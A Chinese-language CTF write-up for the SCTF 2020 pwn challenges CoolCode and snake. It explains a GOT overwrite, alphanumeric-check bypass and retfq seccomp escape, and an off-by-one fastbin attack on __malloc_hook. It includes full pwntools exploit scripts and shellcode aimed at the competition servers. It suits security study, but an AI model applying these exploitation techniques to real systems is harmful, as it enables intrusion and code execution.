2020SCTF-PWN部分解题思路
July 7, 2020 CTF-Writeup 访问: 96 次
CoolCode
题目基本信息:
radish ➜ sctf checksec CoolCode
[*] '/media/psf/Home/Desktop/sctf/CoolCode'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
radish ➜ sctf seccomp-tools dump ./CoolCode
# # #####
# # # ###### # #### #### # # ###### ##### #### # # ##### #### ######
# # # # # # # # # ## ## # # # # # # # # #
# # # ##### # # # # # ## # ##### # # # ##### # # #####
# # # # # # # # # # # # # # # # # #
## ## ###### ###### #### #### # # ###### # #### ##### # #### #
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0006
0002: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0006
0003: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0006
0004: 0x15 0x01 0x00 0x00000005 if (A == fstat) goto 0006
0005: 0x06 0x00 0x00 0x00050005 return ERRNO(5)
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
审计之后发现漏洞点在add
函数里面,v1是有符号的,如果我们输入一个负数的话,就可以将某一个地址上的值改成我们申请的堆块的地址,程序没有开启NX
保护,我们可以将堆上输入我们的shellcode,程序流劫持到堆上。
unsigned __int64 add()
{
int v1; // [rsp+Ch] [rbp-14h]
void *s; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
v1 = 0;
printf("Index: ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 1 && index <= 2 )
{
s = malloc(0x20uLL);
memset(s, 0, 0x28uLL);
heap_list[v1] = s;
read_str(s, 32);
++index;
puts("Done.");
}
else
{
puts("Not enough space.");
}
return __readfsqword(0x28u) ^ v3;
}
在sub_400BA6
中,限制了我们输入的字符串必须是大写字母或者是数字
unsigned __int64 __fastcall sub_400BA6(char *a1, int a2)
{
void *v2; // rsp
__int64 v4; // [rsp+0h] [rbp-40h]
int v5; // [rsp+4h] [rbp-3Ch]
char *dest; // [rsp+8h] [rbp-38h]
char v7; // [rsp+13h] [rbp-2Dh]
int v8; // [rsp+14h] [rbp-2Ch]
__int64 v9; // [rsp+18h] [rbp-28h]
void *s; // [rsp+20h] [rbp-20h]
unsigned __int64 v11; // [rsp+28h] [rbp-18h]
dest = a1;
v5 = a2;
v11 = __readfsqword(0x28u);
v8 = 0;
v9 = a2 + 16 - 1LL;
v2 = alloca(16 * ((a2 + 16 + 15LL) / 0x10uLL));
s = &v4;
memset(&v4, 0, a2);
printf("messages: ", 0LL);
v8 = read(0, s, v5);
if ( v8 < 0 )
{
puts("read error.");
exit(1);
}
v7 = *(s + v8 - 1);
if ( v7 == 10 )
v7 = 0;
if ( check(s, v8) )
{
puts("read error.");
exit(1);
}
strncpy(dest, s, v8);
return __readfsqword(0x28u) ^ v11;
}
signed __int64 __fastcall check(__int64 a1, int a2)
{
int i; // [rsp+14h] [rbp-8h]
for ( i = 0; i < a2 - 1; ++i )
{
if ( (*(i + a1) <= 0x2F || *(i + a1) > '9') && (*(i + a1) <= '@' || *(i + a1) > 'Z') )
return 1LL;
}
return 0LL;
}
注意观察程序的check
函数,对输入的字符串的最后一位没有验证
全部是大写和数字的shellcode没找到,也可能没有,所以要绕过这个限制,当我们输入shellcode不符合规定的时候就会执行
puts("read error.");
exit(1);
所以可以对这两个函数下手,修改这两个函数的got表
修改exit的got为堆上的地址,我们可控,我们输入的字符串为:这三个指令能够将程序流挟持到栈上我们不受限制的shellcode
"\x58\x54\xc3"
'''
pop rax
push rsp
ret
'''
然后在bss段上在写上shellcode
,把程序流再转移到bss
段上,程序限制了没有open
函数
绕过方法就是通过retfq
把系统位数换成32
位,用int 80
来调用32位的open函数把flag读入到内存里面,然后再利用retfq
转到64位来进行read
和write
即可
exp:
from pwn import *
import sys
context.log_level='debug'
context.binary="./CoolCode"
debug = 0
file_name = './CoolCode'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '39.107.119.192'
prot = '9999'
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
def add(index,value):
ru('Your choice :')
sl('1')
ru('Index: ')
sl(str(index))
ru('messages: ')
sd(value)
def delete(index):
ru('Your choice :')
sl('3')
ru('Index: ')
sl(str(index))
def show(index):
ru('Your choice :')
sl('2')
ru('Index: ')
sl(str(index))
def debug():
gdb.attach(r,"b *0x000000000400CC3")
raw_input()
add(-22,"\x58\x54\xc3")
'''
pop rax
push rsp
ret
'''
shellcode = '''
xor rdi,rdi
mov rsi,0x602500
push 0x100
pop rdx
push rdi
pop rax
syscall
push rsi;
ret;
'''
add(0,asm(shellcode))
# print (asm(shellcode))
shellcode_2 = '''
push 0x23;
push 0x602510;
retfq;
'''
#open("flag\x00")
shellcode_3 = '''
mov esp,0x602600;
mov ebx,0x602509;
mov eax,5;
xor ecx,ecx;
int 0x80;
'''
shellcode_4 = '''
mov rdi,3;
mov rsi,0x602700;
mov rdx,0x50;
xor rax,rax;
syscall;
mov rdi,1;
mov rsi,0x602700;
mov rdx,0x50;
mov rax,1;
syscall;
'''
sl(asm(shellcode_2)+"flag\x00\x00\x00"+'\xbc\x80\x25\x60\x00\xbb\x09\x25\x60\x00\xb8\x05\x00\x00\x00\x31\xc9\xcd\x80\x6a\x33\x68\x30\x25\x60\x00'+asm('retfq;')+"aaaa"+asm(shellcode_4))
ri()
snake
这个题是个纸老虎,看起来很复杂,但是找到关键点就容易了,程序中read的输入一共有三个
Direction Type Address Text
Up p sub_4011A6+F3 call _read
p sub_4015F8+CF call _read
Down p main+240 call _read
第一处和第二处调用read的时候是固定的,第三处是通过坐标来计算出来的,那么有问题的只能是第三个,把坐标(x,y)
调到最大,然后读入的时候发现存在one by off
,接下来的利用手法就是很平常啦,fastbin attack
一把梭即可
exp:
from pwn import *
import sys
context.log_level='debug'
debug = 0
file_name = './snake'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '39.107.244.116'
prot = '9999'
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
def add(index,chunk_size,value):
ru('4.start name')
sl('1')
ru('index?')
sl(str(index))
ru("how long?")
sl(str(chunk_size))
ru('name?')
sl(value)
def delete(index):
ru('4.start name')
sl('2')
ru('index?')
sl(str(index))
def get_n(index):
ru('4.start name')
sl('3')
ru("index?")
sl(str(index))
def start_n():
ru('4.start name')
sl('4')
def debug():
gdb.attach(r)
raw_input()
ru("how long?\n")
sl(str(0x68))
ru("input name\n")
sl("test")
# ru("please leave words:")
for x in range(36):
sl("")
r.recv()
ru("please leave words:")
sl("a"*0x4c+"\xe1")
ru("if you want to exit?")
add(1,0x68,"test")
add(2,0x68,"test")
add(3,0x68,"test")
delete(0)
add(0,0x68,"test")
get_n(1)
start_n()
for x in range(35):
r.recv()
sl("")
r.recv()
# raw_input()
data = ru("please leave words:")
# print "$$$$"
libc_base = u64(data[13:13+6]+"\x00\x00")-3951480
li("libc_base",libc_base)
li("puts",libc.symbols['puts'])
# ru("please leave words:")
sl("a"*0x4c)
ru("if you want to exit?")
sl("n")
add(4,0x68,"test")
delete(1)
delete(3)
delete(4)
add(1,0x68,p64(libc.symbols['__malloc_hook']-0x23+libc_base))
add(3,0x68,"test")
add(4,0x68,"test")
one_gg = 0xf1147+libc_base
add(5,0x68,"aaaaaaaaaaa"+p64(0)+p64(one_gg))
ru('4.start name')
sl('1')
ru('index?')
sl(str(6))
ru("how long?")
sl(str(0x10))
# debug()
ri()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
SCTF{iS_SO_EAZY_SNAKE_GAME_YOU_ARE_SO_CLEVER}
'''